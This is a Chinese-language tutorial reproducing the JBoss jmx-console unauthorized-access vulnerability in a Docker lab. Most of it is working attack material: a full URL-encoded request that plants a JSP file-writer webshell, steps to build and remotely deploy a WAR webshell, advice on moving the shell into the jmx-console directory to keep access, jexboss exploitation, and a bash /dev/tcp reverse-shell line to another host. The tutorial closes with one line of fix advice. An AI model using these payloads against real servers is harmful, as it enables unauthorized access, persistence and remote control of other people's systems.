一、前言

漏洞原因:在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。

二、环境配置

使用docker搭建环境

docker search testjboss    #搜索环境

Jboss未授权访问漏洞复现-LMLPHP

docker pull testjboss/jboss   选择环境

Jboss未授权访问漏洞复现-LMLPHP

docker run -p 80:8080 -d testjboss/jboss   #查看打开的docker环境

Jboss未授权访问漏洞复现-LMLPHP

运行环境,访问http://ip

Jboss未授权访问漏洞复现-LMLPHP

三、漏洞复现

方法一:写木马

直接访问jboss控制台

http://192.168.78.129/jmx-console/

Jboss未授权访问漏洞复现-LMLPHP

写入一句话木马:

http://ip/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

url中的参数:arg0代表war包的名称,arg1=文件名称,arg2=文件后缀名,arg3=文件内容

将arg3的值取出来并url解码:

<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

这个语句的功能是写入文件功,f=文件名,t=文件内容

Jboss未授权访问漏洞复现-LMLPHP

写入1.txt文件

http://192.168.78.129/August/shell.jsp?f=1.txt&t=hello%20world!

Jboss未授权访问漏洞复现-LMLPHP

访问1.txt文件

Jboss未授权访问漏洞复现-LMLPHP

方法二:上传木马

首先制作一个war木马(需要jdk),在java目录下管理员cmd执行:

jar cvf ma.war index.jsp  (自备index.jsp马哦,将index.jsp放入java目录下运行)

Jboss未授权访问漏洞复现-LMLPHP

生成ma.war

将ma.war放在自己的服务器上

Jboxx4.x /jmx-console/ 后台存在未授权访问,进入后台后,可直接部署 war 包Getshell。若需登录,可以尝试爆破弱口令登录。

Jboss未授权访问漏洞复现-LMLPHP

然后找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)

Jboss未授权访问漏洞复现-LMLPHP

找到页面中的void addURL()选项来远程加载war包来部署。

Jboss未授权访问漏洞复现-LMLPHP

Jboss未授权访问漏洞复现-LMLPHP

Jboss未授权访问漏洞复现-LMLPHP

接下来我们查看是否部署成功

返回到刚进入jmx-console的页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可

Jboss未授权访问漏洞复现-LMLPHP

接下来访问木马

Jboss未授权访问漏洞复现-LMLPHP

成功访问木马

这个目录最多用作临时维持下权限,所以可以把shell传到jmx-console的默认目录来巩固权限

\jboss-4.2.3.GA\server\default\deploy\jmx-console.war

方法三:使用检测工具

检测工具:jexboss,一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。

下载地址:https://github.com/joaomatosf/jexboss

python2 jexboss.py -u http://ip:port

Jboss未授权访问漏洞复现-LMLPHP

反弹shell到另一个kali机上,并在另一个kali机开启nc监听

bash -i >& /dev/tcp/192.168.78.128/7777 0>&1

Jboss未授权访问漏洞复现-LMLPHP

Jboss未授权访问漏洞复现-LMLPHP

Jboss未授权访问漏洞复现-LMLPHP

四、修复建议

关闭jmx-console和web-console,提高安全性。

05-12 20:31